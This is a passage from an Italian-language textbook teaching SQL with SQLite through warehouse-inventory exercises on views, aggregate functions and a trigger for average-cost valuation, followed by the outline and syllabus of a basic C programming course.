op1 % *op2*	Modulo: il resto della divisione tra il primo e il secondo operando.

Tabella 90.141. Alcune funzioni riconosciute da SQLite.

Funzione	Descrizione
`ABS(`***n***`)`	Restituisce il valore assoluto di ***n***
`LENGTH(`***stringa***`)`	Restituisce la lunghezza in caratteri della stringa indicata come argomento.
`LOWER(`***stringa***`)` `UPPER(`***stringa***`)`	La prima funzione restituisce la stringa indicata come argomento, con lettere minuscole; la seconda con lettere maiuscole.
`MIN(`***x***`,`***y***` [,...])` `MAX(`***x***`,`***y***` [,...])`	La prima funzione restituisce il valore minimo tra quelli indicati come argomento; la seconda, invece, restituisce il valore massimo.
`ROUND(`***n***` [,`***n***`])`	Restituisce il valore di ***n*** arrotondato a ***m*** decimali. Se ***m*** viene omesso, si intende pari a zero.
`SUBSTR(`***stringa***`,`***n***`,`***m***`)`	Estrae la stringa che inizia dalla posizione ***n***, lunga ***m*** caratteri.

90.12.1 Interrogazione della relazione «Movimenti» in modo da ottenere il valore unitario

Nella relazione '**`Movimenti`**' appare un attributo denominato '**`Valore`**'. Si tratta del valore dell'articolo, determinato in base al **costo di acquisto** (da non confondere con il prezzo di listino), con il quale si determina il valore delle merci in magazzino. Pre ogni tupla della relazione, si vuole ottenere il valore unitario, che si calcola dividendo il valore per la quantità movimentata corrispondente.

Si crei il file '`prova-interrogazione-movimenti-vu.sql`', contenente il testo seguente, sostituendo le metavariabili con informazioni appropriate e rispettando la punteggiatura:

```
-- Interrogazione della relazione "Movimenti"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: prova-interrogazione-movimenti-vu.sql

.mode columns
.headers on

SELECT Articolo,
       Causale,
       Data,
       Quantita,
       (Valore/Quantita) AS ValoreUnitario
       FROM Movimenti;
```

Si osservi che, nell'ultima colonna del listato che si vuole ottenere, viene indicata l'espressione '**`(Valore/Quantita)`**', associata a un alias, in modo da mostrare una descrizione

appropriata.

Una volta completato e salvato il file '`prova-interrogazione-movimenti-vu.sql`', se ne deve controllare il funzionamento con la base di dati:

$ **sqlite3 mag.db < prova-interrogazione-movimenti-vu.sql** [*Invio*]

Si dovrebbe ottenere un listato simile a quello seguente:

```
Articolo    Causale     Data        Quantita    ValoreUnitario
----------  ----------  ----------  ----------  --------------
2           1           2010-01-15  10000       0.01
2           2           2010-01-16  1000        0.01
102         1           2010-01-17  1000        0.2
102         2           2010-01-18  100         0.2
401         1           2010-01-19  1000        0.2
401         2           2010-01-20  200         0.2
401         4           2010-01-20  100         0.2
102         4           2010-01-20  100         0.2
601         1           2010-01-21  2000        0.5
601         2           2010-01-25  1000        0.5
```

Se invece si ottengono degli errori, dovrebbe essere sufficiente correggere il file '`prova-interrogazione-movimenti-vu.sql`' e poi riprovare.

90.12.2 Vista della relazione «Movimenti» in modo da ottenere il valore unitario

Così come è possibile scrivere un'interrogazione a una relazione indicando delle espressioni, se ne può realizzare una vista, così da semplificare gli accessi a queste informazioni generate attraverso dei calcoli.

Si crei il file '`vista-movimenti-extra.sql`', contenente il testo seguente, sostituendo le metavariabili con informazioni appropriate e rispettando la punteggiatura:

```
-- Vista "MovimentiExtra"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: vista-movimenti-extra.sql

CREATE VIEW MovimentiExtra AS
    SELECT Movimento,
           Articolo,
           Causale,
           Data,
           Cliente,
           Fornitore,
           Quantita,
           Valore,
           (Valore/Quantita) AS ValoreUnitario
           FROM Movimenti;
```

La vista '**`MovimentiExtra`**' che si ottiene in questo modo, include tutti gli attributi della relazione '**`Movimenti`**', aggiungendo l'attributo virtuale '**`ValoreUnitario`**', ottenuto dividendo il valore complessivo per la quantità movimentata.

Una volta completato e salvato il file '`vista-movimenti-extra.sql`', se ne deve controllare il funzionamento con la base di dati:

```
$ sqlite3 mag.db < vista-movimenti-extra.sql [Invio]
```

Se non vengono generati dei messaggi, l'operazione dovrebbe essere stata completata con successo, altrimenti, se la vista è stata creata, ma in modo errato, è necessario eliminarla, quindi si può correggere il file '`vista-movimenti-extra.sql`' e riprovare. Per eliminare la vista creata in modo errato, si può utilizzare il programma '**`sqlite3`**' in modo interattivo, come già mostrato in altri capitoli (istruzione '**`DROP VIEW`**').

Quando si ritiene di avere creato la vista in modo corretto, è bene verificare di avere ottenuto il risultato desiderato:

```
$ sqlite3 mag.db [Invio]

  SQLite version …
  Enter ".help" for instructions

sqlite> .headers on [Invio]

sqlite> .mode columns [Invio]

sqlite> SELECT * FROM MovimentiExtra [Invio]

  Movimento Articolo Causale Data       Cliente Fornitore Quantita Valore ValoreUnitario
  --------- -------- ------- ---------- ------- --------- -------- ------ --------------
  1         2        1       2010-01-15         3         10000    100    0.01
  2         2        2       2010-01-16 2                 1000     10     0.01
  3         102      1       2010-01-17         2         1000     200    0.2
  4         102      2       2010-01-18 1                 100      20     0.2
  5         401      1       2010-01-19         1         1000     200    0.2
  6         401      2       2010-01-20 3                 200      20     0.2
  7         401      4       2010-01-20         1         100      20     0.2
  8         102      4       2010-01-20         2         100      20     0.2
  9         601      1       2010-01-21         3         2000     1000   0.5
  10        601      2       2010-01-25 1                 1000     500    0.5

sqlite> .quit [Invio]
```

90.12.3 Verifica sulla creazione della vista «MovimentiExtra»

In questa verifica si deve riprendere il file '`vista-movimenti-extra.sql`', per modificarlo, in modo da aggiungere un attributo virtuale ulteriore, contenente la quantità in forma algebrica: valori positivi per i carichi e valori negativi per gli scarichi. Dal momento che l'informazione se trattasi di carico o scarico è contenuta nella relazione '**`Causali`**', anche questa va utilizzata nella costruzione della vista.

Si modifichi il file '`vista-movimenti-extra.sql`', seguendo lo scheletro che viene proposto, per far sì che la vista '**`MovimentiExtra`**' contenga gli attributi seguenti:

1. '**Movimento**', corrispondente al numero di sequenza assegnato a ogni movimento nella relazione '**Movimenti**';
2. '**Articolo**', corrispondente al codice articolo della relazione '**Movimenti**';
3. '**Causale**', corrispondente al codice causale della relazione '**Movimenti**';
4. '**Data**', corrispondente alla data del movimento nella relazione '**Movimenti**';
5. '**Cliente**', corrispondente al codice cliente della relazione '**Movimenti**';
6. '**Fornitore**', corrispondente al codice fornitore della relazione '**Movimenti**';
7. '**Quantità**', corrispondente alla quantità movimentata nella relazione '**Movimenti**';
8. '**Valore**', corrispondente al valore del movimento, nella relazione '**Movimenti**';
9. '**ValoreUnitario**', corrispondente al valore unitario del movimento, ottenuto dividendo il valore complessivo per la quantità (dalla relazione '**Movimenti**');
10. '**QuantitaAlgebrica**', corrispondente alla quantità movimentata, con segno, ottenuta moltiplicando l'attributo '**Variazione**' della relazione '**Causali**' all'attributo '**Quantita**' della relazione '**Movimenti**'.

Figura 90.147. Scheletro del file 'vista-movimenti-extra.sql', da completare.

```
-- Vista "MovimentiExtra"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: vista-movimenti-extra.sql

CREATE VIEW MovimentiExtra AS
    SELECT Movimenti.Movimento                      AS Movimento,
           Movimenti.Articolo                       AS Articolo,
           Movimenti.Causale                        AS Causale,
           Movimenti.Data                           AS Data,
           Movimenti.Cliente                        AS Cliente,
           Movimenti.Fornitore                      AS Fornitore,
           Movimenti.Quantita                       AS Quantita,
           Movimenti.Valore                         AS Valore,
           (Movimenti.Valore/Movimenti.Quantita)    AS ValoreUnitario,
           …
           FROM …
           WHERE Movimenti.Causale = Causali.causale;
```

Prima di poter eseguire questo file con la base di dati, occorre eliminare la vista '**MovimentiExtra**', che già dovrebbe esistere. Si ricorda che per eliminare una vista si utilizza l'istruzione '**DROP VIEW**' e che conviene intervenire con il programma '**sqlite3**' in modo interattivo.

Per eseguire il file 'vista-movimenti-extra.sql', si agisce come sempre:

$ **sqlite3 mag.db < vista-movimenti-extra.sql** [*Invio*]

Se la creazione della vista produce degli errori, occorre eliminare nuovamente la vista e, dopo la correzione del file '`vista-movimenti-extra.sql`', si può ritentare.

Quando si è consapevoli di avere creato correttamente la vista '**`MovimentiExtra`**', la si può interrogare come se fosse una relazione normale:

`$` **`sqlite3 mag.db`** [*Invio*]

```
SQLite version …
Enter ".help" for instructions
```

`sqlite>` **`.headers on`** [*Invio*]

`sqlite>` **`.mode column`** [*Invio*]

`sqlite>` **`SELECT * FROM MovimentiExtra;`** [*Invio*]

Si dovrebbe ottenere il listato seguente:

Movimento	Articolo	Causale	Data	Cliente	Fornitore	Quantita	Valore	ValoreUnitario	QuantitaAlgebrica
1	2	1	2010-01-15		3	10000	100	0.01	10000
2	2	2	2010-01-16	2		1000	10	0.01	-1000
3	102	1	2010-01-17		2	1000	200	0.2	1000
4	102	2	2010-01-18	1		100	20	0.2	-100
5	401	1	2010-01-19		1	1000	200	0.2	1000
6	401	2	2010-01-20	3		200	20	0.2	-200
7	401	4	2010-01-20		1	100	20	0.2	-100
8	102	4	2010-01-20		2	100	20	0.2	-100
9	601	1	2010-01-21		3	2000	1000	0.5	2000
10	601	2	2010-01-25	1		1000	500	0.5	-1000

Se tutto funziona regolarmente, si consegni per la valutazione la stampa del file '`vista-movimenti-extra.sql`'.

90.12.4 Conclusione

Prima di passare alla sezione successiva, si deve riprendere il file '`magazzino.sql`' e vi si deve aggiungere l'istruzione per la creazione della vista '**`MovimentiExtra`**', come realizzato nella verifica appena conclusa.

Una volta aggiornato il file '`magazzino.sql`' come descritto, si deve cancellare il file '`mag.db`' e ricreare a partire dalle istruzioni contenute nel file '`magazzino.sql`':

`$` **`sqlite3 mag.db < magazzino.sql`** [*Invio*]

Se vengono segnalati degli errori, occorre correggere il file '`magazzino.sql`', cancellare nuovamente il file '`mag.db`', quindi si deve ripetere l'operazione. La base di dati contenuta nel file '`mag.db`', viene usata nella sezione successiva e non si può proseguire se non si riesce a ricrearla correttamente.

90.13 Aggregazioni

L'aggregazione è una forma di interrogazione attraverso cui si ottengono risultati riepilogativi del contenuto di una relazione, nel suo complesso o a gruppi di tuple. Per questo si utilizzano delle funzioni speciali al posto dell'espressione che esprime gli attributi del risultato. Queste funzioni restituiscono un solo valore e come tali concorrono a creare un'unica tupla.

Tabella 90.150. Alcune funzioni aggreganti riconosciute da SQLite.

Funzione	Descrizione
`COUNT(`*x*`)`	Restituisce il numero di tuple, nel gruppo, per le quali l'espressione *x* restituisce un valore diverso da '**`NULL`**'.
`COUNT(*)`	Restituisce il numero di tuple esistenti nel gruppo.
`AVG(`*x*`)`	Restituisce la media, nel gruppo di tuple, dei valori che ottiene l'espressione *x*, escludendo '**`NULL`**' e considerando i valori non numerici pari a zero.
`MIN(`*x*`)` `MAX(`*x*`)`	Restituisce il valore minimo o massimo, nel gruppo di tuple, dei valori che ottiene l'espressione *x*, escludendo '**`NULL`**' e considerando i valori non numerici pari a zero.
`SUM(`*x*`)`	Restituisce la somma, nel gruppo di tuple, dei valori che ottiene l'espressione *x*, escludendo '**`NULL`**' e considerando i valori non numerici pari a zero.

La forma che assume l'istruzione '**`SELECT`**' quando si usano le aggregazioni e tipicamente quella seguente:

```
SELECT specificazione_dell'attributo_1 [,...specificazione_dell'attributo_n]
    FROM specificazione_della_relazione_1 [,...specificazione_della_relazione_n]
    [WHERE condizione]
    [GROUP BY attributo_1 [,...]]
```

In pratica, le funzioni aggreganti vanno usate nell'elenco che descrive gli attributi. Se non si usa l'opzione '**`GROUP BY`**', il gruppo di tuple di riferimento comprende tutte le tuple della relazione o della congiunzione (di relazioni). Se si specifica l'opzione '**`GROUP BY`**', le tuple vengono raggruppate in base all'uguaglianza degli attributi indicati come argomento di tale opzione. In pratica:

1. la relazione ottenuta dall'istruzione '**`SELECT...FROM`**' viene filtrata dalla condizione '**`WHERE`**';
2. la relazione risultante viene riordinata in modo da raggruppare le tuple in cui i contenuti degli attributi elencati dopo l'opzione '**`GROUP BY`**' sono uguali;
3. su questi gruppi di tuple vengono valutate le funzioni di aggregazione.

90.13.1 Aggregazioni banali

Per prendere un po' di dimestichezza con le aggregazioni, conviene usare il programma '**sqlite3**' in modo interattivo e fare qualche piccolo esperimento:

$ **sqlite3 mag.db** [*Invio*]

```
SQLite version …
Enter ".help" for instructions
```

sqlite> **.headers on** [*Invio*]

sqlite> **.mode column** [*Invio*]

Si vogliono contare le tuple della relazione '**Movimenti**':

sqlite> **SELECT COUNT(*) FROM Movimenti;** [*Invio*]

```
10
```

Si vogliono contare i movimenti per ogni tipo di articolo:

sqlite> **SELECT Articolo, COUNT(*) FROM Movimenti GROUP BY Articolo;** [*Invio*]

```
Articolo    COUNT(*)
----------  ----------
2           2
102         3
401         3
601         2
```

Si vuole conoscere la quantità esistente di ogni articolo (si usa la vista ***MovimentiExtra***, che offre l'attributo '**QuantitaAlgebrica**'):

sqlite> **SELECT Articolo, SUM(QuantitaAlgebrica)** [*Invio*]

...> **FROM MovimentiExtra GROUP BY Articolo;** [*Invio*]

```
Articolo    SUM(QuantitaAlgebrica)
----------  ----------------------
2           9000
102         800
401         700
601         1000
```

Si vuole conoscere la quantità esistente di ogni articolo in magazzino e il valore (il valore viene calcolato a partire da quello medio, moltiplicato per la quantità algebrica):

sqlite> **SELECT Articolo, SUM(QuantitaAlgebrica),** [*Invio*]

...> **SUM(QuantitaAlgebrica*ValoreUnitario)** [*Invio*]

```
   ...>       FROM MovimentiExtra GROUP BY Articolo; [Invio]

Articolo    SUM(QuantitaAlgebrica)  SUM(QuantitaAlgebrica*ValoreUnitario)
----------  ----------------------  -------------------------------------
2           9000                    90
102         800                     160
401         700                     140
601         1000                    500
```

Si vuole conoscere la quantità esistente di ogni articolo in magazzino e il costo medio, determinato dividendo il valore complessivo per la quantità esistente:

```
sqlite> SELECT Articolo, [Invio]

sqlite>        SUM(QuantitaAlgebrica), [Invio]

sqlite>        SUM(QuantitaAlgebrica*ValoreUnitario)/↩
↪SUM(QuantitaAlgebrica) [Invio]

sqlite>        FROM MovimentiExtra GROUP BY Articolo; [Invio]

Articolo    SUM(QuantitaAlgebrica)  SUM(QuantitaAlgebrica*ValoreUnitario)/SUM(QuantitaAlgebrica)
----------  ----------------------  -------------------------------------------------------------
2           9000                    0.01
102         800                     0.2
401         700                     0.2
601         1000                    0.5

sqlite> .quit [Invio]
```

90.13.2 Verifica sulla creazione della vista «SituazioneMagazzino»

Si vuole realizzare la vista '**SituazioneMagazzino**' che, in questa verifica, si limiti a mostrare poche informazioni riepilogative sullo stato del magazzino.

Si realizzi il file 'vista-situazione-magazzino-1.sql', seguendo lo scheletro che viene proposto, per far sì che la vista '**SituazioneMagazzino**' contenga gli attributi seguenti:

1. '**Codice**', corrispondente al codice articolo della relazione '**Movimenti**' o della vista '**MovimentiExtra**';
2. '**Articolo**', corrispondente alla descrizione dell'articolo, come indicato nella relazione '**Articoli**';
3. '**Esistenza**', corrispondente alla somma algebrica dei carichi, come si ottiene dalla vista '**MovimentiExtra**'.

Figura 90.157. Scheletro del file ‘`vista-situazione-magazzino-1.sql`’, da completare.

```
-- Vista "SituazioneMagazzino"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: vista-situazione-magazzino-1.sql

CREATE VIEW SituazioneMagazzino AS
    SELECT MovimentiExtra.Articolo              AS Codice,
           …
           …
           FROM …
           WHERE MovimentiExtra.Articolo = Articoli.Articolo
           GROUP BY MovimentiExtra.Articolo;
```

Per eseguire il file ‘`vista-situazione-magazzino-1.sql`’, si agisce come sempre:

`$` **`sqlite3 mag.db < vista-situazione-magazzino-1.sql`** [*Invio*]

Se la creazione della vista produce degli errori, occorre eliminare la vista e, dopo la correzione del file ‘`vista-situazione-magazzino-1.sql`’, si può ritentare.

Quando si è consapevoli di avere creato correttamente la vista ‘**`SituazioneMagazzino`**’, la si può interrogare come se fosse una relazione normale:

`$` **`sqlite3 mag.db`** [*Invio*]

```
SQLite version …
Enter ".help" for instructions
```

`sqlite>` **`.headers on`** [*Invio*]

`sqlite>` **`.mode column`** [*Invio*]

`sqlite>` **`SELECT * FROM SituazioneMagazzino;`** [*Invio*]

Si dovrebbe ottenere il listato seguente:

```
Codice      Articolo                                Esistenza
----------  --------------------------------------  ----------
2           Dischetti da 9 cm 1440 Kibyte colorati  9000
102         CD-R 52x                                800
401         DVD+R 8x                                700
601         DVD+RW 8x                               1000
```

Se tutto funziona regolarmente, si consegni per la valutazione la stampa del file ‘`vista-situazione-magazzino-1.sql`’.

90.13.3 Verifica sulla creazione della vista «SituazioneMagazzino»

Si vuole estendere la vista '**SituazioneMagazzino**', già realizzata in parte nella verifica precedente; pertanto, in questa verifica si modifica il file '`vista-situazione-magazzino-1.sql`' Salvandolo con il nome '`vista-situazione-magazzino-2`'. Si vogliono ottenere gli attributi seguenti:

1. '**Codice**', corrispondente al codice articolo della relazione '**Movimenti**' o della vista '**MovimentiExtra**';
2. '**Articolo**', corrispondente alla descrizione dell'articolo, come indicato nella relazione '**Articoli**';
3. '**ScortaMin**', corrispondente alla scorta minima, come contenuto nella relazione '**Articoli**';
4. '**Esistenza**', corrispondente alla somma algebrica dei carichi, come si ottiene dalla vista '**MovimentiExtra**';
5. '**Valore**', corrispondente al valore complessivo di ogni articolo (come mostrato negli esempi prima di queste verifiche).

Figura 90.160. Scheletro del file '`vista-situazione-magazzino-2.sql`', da completare.

```
-- Vista "SituazioneMagazzino"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: vista-situazione-magazzino-2.sql

CREATE VIEW SituazioneMagazzino AS
    SELECT MovimentiExtra.Articolo               AS Codice,
           …
           …
           FROM …
           WHERE MovimentiExtra.Articolo = Articoli.Articolo
           GROUP BY MovimentiExtra.Articolo;
```

Prima di poter eseguire questo file con la base di dati, occorre eliminare la vista '**SituazioneMagazzino**', che già dovrebbe esistere. Si ricorda che per eliminare una vista si utilizza l'istruzione '**DROP VIEW**' e che conviene intervenire con il programma '**sqlite3**' in modo interattivo.

Per eseguire il file '`vista-situazione-magazzino-2.sql`', si agisce come sempre:

`$` **`sqlite3 mag.db < vista-situazione-magazzino-2.sql`** [*Invio*]

Se la creazione della vista produce degli errori, occorre eliminare la vista e, dopo la correzione del file '`vista-situazione-magazzino-2.sql`', si può ritentare.

Quando si è consapevoli di avere creato correttamente la vista '**SituazioneMagazzino**', la si può interrogare come se fosse una relazione normale:

`$` **`sqlite3 mag.db`** [*Invio*]

```
SQLite version …
Enter ".help" for instructions
```

sqlite> **.headers on** [*Invio*]

sqlite> **.mode column** [*Invio*]

sqlite> **SELECT * FROM SituazioneMagazzino;** [*Invio*]

Si dovrebbe ottenere il listato seguente:

```
Codice      Articolo                               ScortaMin   Esistenza   Valore
----------  -------------------------------------  ----------  ----------  ----------
2           Dischetti da 9 cm 1440 Kibyte colorati 500         9000        90
102         CD-R 52x                               500         800         160
401         DVD+R 8x                               200         700         140
601         DVD+RW 8x                              200         1000        500
```

Se tutto funziona regolarmente, si consegni per la valutazione la stampa del file 'vista-situazione-magazzino-2.sql'.

90.13.4 Verifica sulla creazione della vista «SituazioneMagazzino»

Si vuole estendere la vista '**SituazioneMagazzino**', già realizzata in parte nella verifica precedente, in modo ottenere anche il costo medio; pertanto, in questa verifica si modifica il file 'vista-situazione-magazzino-2.sql' salvandolo con il nome 'vista-situazione-magazzino-3.sql'. Si vogliono ottenere gli attributi seguenti:

1. '**Codice**', corrispondente al codice articolo della relazione '**Movimenti**' o della vista '**MovimentiExtra**';
2. '**Articolo**', corrispondente alla descrizione dell'articolo, come indicato nella relazione '**Articoli**';
3. '**ScortaMin**', corrispondente alla scorta minima, come contenuto nella relazione '**Articoli**';
4. '**Esistenza**', corrispondente alla somma algebrica dei carichi, come si ottiene dalla vista '**MovimentiExtra**';
5. '**Valore**', corrispondente al valore complessivo di ogni articolo (come mostrato negli esempi prima di queste verifiche);
6. '**CostoMedio**', corrispondente al valore complessivo di ogni articolo, diviso la quantità esistente (come mostrato negli esempi prima di queste verifiche).

Figura 90.163. Scheletro del file 'vista-situazione-magazzino-3.sql', da completare.

```
-- Vista "SituazioneMagazzino"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: vista-situazione-magazzino-3.sql

CREATE VIEW SituazioneMagazzino AS
    SELECT MovimentiExtra.Articolo              AS Codice,
           …
           …
           FROM …
           WHERE MovimentiExtra.Articolo = Articoli.Articolo
           GROUP BY MovimentiExtra.Articolo;
```

Prima di poter eseguire questo file con la base di dati, occorre eliminare la vista '**SituazioneMagazzino**', che già dovrebbe esistere. Si ricorda che per eliminare una vista si utilizza l'istruzione '**DROP VIEW**' e che conviene intervenire con il programma '**sqlite3**' in modo interattivo.

Per eseguire il file 'vista-situazione-magazzino-3.sql', si agisce come sempre:

$ **sqlite3 mag.db < vista-situazione-magazzino-3.sql** [*Invio*]

Se la creazione della vista produce degli errori, occorre eliminare la vista e, dopo la correzione del file 'vista-situazione-magazzino-3.sql', si può ritentare.

Quando si è consapevoli di avere creato correttamente la vista '**SituazioneMagazzino**', la si può interrogare come se fosse una relazione normale:

$ **sqlite3 mag.db** [*Invio*]

```
SQLite version …
Enter ".help" for instructions
```

sqlite> **.headers on** [*Invio*]

sqlite> **.mode column** [*Invio*]

sqlite> **SELECT * FROM SituazioneMagazzino;** [*Invio*]

Si dovrebbe ottenere il listato seguente:

```
Codice Articolo                                 ScortaMin Esistenza Valore CostoMedio
------ ---------------------------------------- --------- --------- ------ ----------
2      Dischetti da 9 cm 1440 Kibyte colorati   500       9000      90     0.01
102    CD-R 52x                                 500       800       160    0.2
401    DVD+R 8x                                 200       700       140    0.2
601    DVD+RW 8x                                200       1000      500    0.5
```

Se tutto funziona regolarmente, si consegni per la valutazione la stampa del file 'vista-situazione-magazzino-3.sql'.

90.13.5 Conclusione

Prima di passare alla sezione successiva, si deve riprendere il file 'magazzino.sql' e vi si deve aggiungere l'istruzione per la creazione della vista '**SituazioneMagazzino**', come realizzato nell'ultima verifica appena conclusa.

Una volta aggiornato il file 'magazzino.sql' come descritto, si deve cancellare il file 'mag.db' e ricreare a partire dalle istruzioni contenute nel file 'magazzino.sql':

$ **sqlite3 mag.db < magazzino.sql** [*Invio*]

Se vengono segnalati degli errori, occorre correggere il file 'magazzino.sql', cancellare nuovamente il file 'mag.db', quindi si deve ripetere l'operazione. La base di dati contenuta nel file 'mag.db', viene usata ancora e non si può proseguire se non si riesce a ricrearla correttamente.

90.14 Inserimento automatico del costo medio

A conclusione di queste lezioni sul linguaggio SQL, viene mostrata la soluzione di un problema, senza richiedere altre verifiche.

Quando si inserisce un movimento nella relazione '**Movimenti**', l'utente deve indicare il valore del movimento. Si determina facilmente questo valore quando il bene viene acquistato, in quanto corrisponde al costo complessivo (IVA esclusa). Quando l'articolo viene scaricato per perché reso al fornitore, il valore deve essere lo stesso della fattura a cui si riferisce (in proporzione alla quantità resa), ma quando viene scaricato per la vendita, occorre decidere come attribuire questo valore.

Il modo più semplice per definire il valore del bene che viene scaricato per la vendita, o comunque per scopi diversi dal reso, è quello di calcolare il costo medio ponderato per movimento. In pratica, si tratterebbe di consultare la vista '**SituazioneMagazzino**', prima di procedere all'inserimento, in modo da conoscere il costo medio unitario, ottenuto in base ai movimenti esistenti.

Quello che si vuol fare qui è di costruire un grilletto che inserisca automaticamente il valore, determinandolo in base al costo medio ponderato per movimento, quando si inserisce un movimento e si omette l'indicazione del valore stesso.

90.14.1 Vista «CostoMedioValido»

La vista '**SituazioneMagazzino**' calcola il costo medio tenendo conto di tutte le tuple, anche quelle che contengono un valore indeterminato del movimento ('**NULL**'). Per lo scopo che si vuole raggiungere, è necessario calcolare il costo medio escludendo i valori indeterminati; pertanto, si realizza una vista apposita:

```
-- Vista "CostoMedioValido"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: vista-costo-medio-valido.sql

CREATE VIEW CostoMedioValido AS
    SELECT Articolo,
           SUM(QuantitaAlgebrica*ValoreUnitario)        AS Valore,
```

```
            (SUM(QuantitaAlgebrica*ValoreUnitario)/SUM(QuantitaAlgebrica))
                                                      AS CostoMedio
            FROM MovimentiExtra
            WHERE Valore NOT NULL
            GROUP BY Articolo;
```

90.14.2 Grilletto «ValorizzazioneScarichi»

Si può creare un grilletto, che aggiorni automaticamente tutte le tuple della relazione '**`Movimenti`**', che hanno un valore movimentato indeterminato, traendo il costo medio dalla vista '**`CostoMedioValido`**':

```
-- Grilletto "ValorizzazioneScarichi"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: grilletto-valorizzazione-scarichi.sql

CREATE TRIGGER ValorizzazioneScarichi
       AFTER INSERT ON Movimenti
       BEGIN
            UPDATE Movimenti
                   SET Valore =
                       (SELECT CostoMedio * NEW.Quantita FROM CostoMedioValido
                        WHERE Articolo = NEW.articolo)
                   WHERE Valore IS NULL;
       END;
```

Naturalmente, i movimenti che vengono presi in considerazione dal grilletto, sono solo quelli che vengono inseriti **dopo** la sua creazione.

Si osservi, comunque, che occorre anche impedire la sostituzione del valore con qualcosa di indeterminato. In pratica, occorre estendere il grilletto associato alla modifica delle tuple della relazione '**`Movimenti`**', in modo da non accettare valori indeterminati per l'attributo del valore:

```
CREATE TRIGGER Movimenti_upd
       BEFORE UPDATE ON Movimenti
       FOR EACH ROW
       BEGIN
            SELECT CASE
            …
            …
            …
            WHEN (NEW.Valore IS NULL)
            THEN
                RAISE (ABORT, 'In fase di variazione, il valore non può essere indeterminato!')
            END;
       END;
```

Parte iv

Corso basilare di programmazione

Introduzione 5409

Programma didattico 5409
Strumenti per la compilazione 5411

91 Dai sistemi di numerazione all'organizzazione della memoria 5417

91.1 Sistemi di numerazione 5418
91.2 Conversioni numeriche di valori interi 5422
91.3 Conversioni numeriche di valori non interi 5430
91.4 Operazioni elementari e sistema di rappresentazione binaria dei valori 5435
91.5 Calcoli con i valori binari rappresentati nella forma usata negli elaboratori 5444
91.6 Scorrimenti, rotazioni, operazioni logiche 5454
91.7 Organizzazione della memoria 5458
91.8 Riferimenti 5469
91.9 Soluzioni agli esercizi proposti 5469

92 Nozioni minime sul linguaggio C 5475

92.1 Primo approccio al linguaggio C 5476
92.2 Variabili e tipi del linguaggio C 5481
92.3 Operatori ed espressioni del linguaggio C
5491
92.4 Strutture di controllo di flusso del linguaggio C 5503
92.5 Funzioni del linguaggio C 5514
92.6 Riferimenti 5521
92.7 Soluzioni agli esercizi proposti 5522

93 Puntatori, array e stringhe in C 5539

93.1 Espressioni a cui si assegnano dei valori 5540
93.2 Puntatori 5541
93.3 Dichiarazione di una variabile puntatore 5541
93.4 Dereferenziazione 5542
93.5 «Little endian» e «big endian» 5543
93.6 Chiamata di funzione con puntatori 5547
93.7 Array 5548
93.8 Array a una dimensione 5548

Introduzione

Il corso contenuto in questa parte riguarda i concetti elementari della programmazione, al livello minimo di astrazione possibile, utilizzando il linguaggio C per la messa in pratica degli algoritmi. Il corso è «basilare», ma gli argomenti trattati non sono così semplici come il termine potrebbe fare supporre.

Il corso non approfondisce la gestione degli array e non affronta la gestione dei puntatori: eventualmente, questi argomenti potrebbero essere trattati in un corso successivo.

Gli argomenti del corso sono già trattati in altri capitoli dell'opera, ma qui, in più, si inseriscono degli esercizi corretti.[1]

Per svolgere il corso correttamente è indispensabile fare tutti gli esercizi, verificando le soluzioni. Se il corso è guidato da un tutore, è bene presentarsi sempre alle lezioni avendo già studiato gli argomenti che devono essere trattati e avendo fatto gli esercizi indicati.

Programma didattico

Il corso, se assistito da un tutore, prevede l'impiego di circa 45 ore, di cui, almeno otto da dedicare alle verifiche (due ore di verifica per modulo, più due ore aggiuntive per una verifica di recupero complessiva).

Modulo 1

- **sistemi di numerazione**
  - decimale
  - binario
  - ottale
  - esadecimale
  - conversioni numeriche intere
  - conversioni numeriche intere tra binario, ottale e esadecimale
- **operazioni aritmetiche elementari in binario**
  - complemento a uno
  - complemento a due
  - somma binaria
  - sottrazione binaria
  - rappresentazione dei numeri interi con segno
- **operazioni elementari all'interno della CPU**
  - aumento e riduzione delle cifre binarie di un numero intero senza segno
  - aumento e riduzione delle cifre binarie di un numero intero con segno
  - somme con i numeri interi con segno
  - somme e sottrazioni con i numeri interi senza segno
  - scorrimento logico (senza segno)
  - scorrimento aritmetico (con segno)
  - rotazione
  - AND

- OR
- XOR
- NOT

- **organizzazione della memoria**
  - pila dei dati o *stack* (cenni)
  - chiamata di funzioni e passaggio degli argomenti attraverso la pila (cenni)
  - variabili scalari
  - array
  - stringhe
  - puntatori
  - ordine dei byte

Modulo 2

- **primo approccio al linguaggio C**
  - commenti, istruzioni, raggruppamenti
  - compilazione
  - emissione di messaggi testuali
  - sospensione dell'esecuzione del programma in attesa della pressione di [*Invio*]
  - costruzione del primo programma che emette un messaggio e attende la pressione di [*Invio*] per terminare
- **tipi principali del linguaggio C**
  - tipi scalari primitivi: char, short int, int, long int, float, double
  - tipi scalari primitivi: distinzione tra presenza e assenza del segno
  - costanti letterali
  - dichiarazione di variabili scalari
  - il tipo void
- **operatori ed espressioni del linguaggio C**
  - operatori aritmetici
  - operatori di confronto
  - operatori logici
  - operatori binari
  - cast (conversione di tipo)
  - espressioni multiple
- **strutture di controllo di flusso del linguaggio C**
  - if
  - switch
  - while
  - for
- **funzioni del linguaggio C**
  - funzione '`main (void)`'
  - prototipo
  - descrizione della funzione

- valore restituito dalla funzione
- valore restituito dal programma

Modulo 3

- **puntatori in C**
  - espressioni a cui si assegnano dei valori (*lvalue*)
  - dichiarazione di una variabile puntatore
  - dereferenziazione di un puntatore
  - *big endian*, *little endian* e puntatori
  - puntatori come parametri di una funzione
- **array in C**
  - dichiarazione di un array
  - selezione di un elemento all'interno di un array all'interno delle espressioni
  - array a più dimensioni
  - uso del ciclo '`for`' per la scansione di un array
  - relazione tra array e puntatori
  - dereferenziazione di un puntatore come se fosse un array
  - array come parametri di una funzione
  - aritmetica dei puntatori
  - stringhe
- **puntatori di puntatori**
  - dichiarazione e dereferenziazione
  - puntatori a più dimensioni, ovvero: array di puntatori
  - parametri della funzione ***main()***

Strumenti per la compilazione

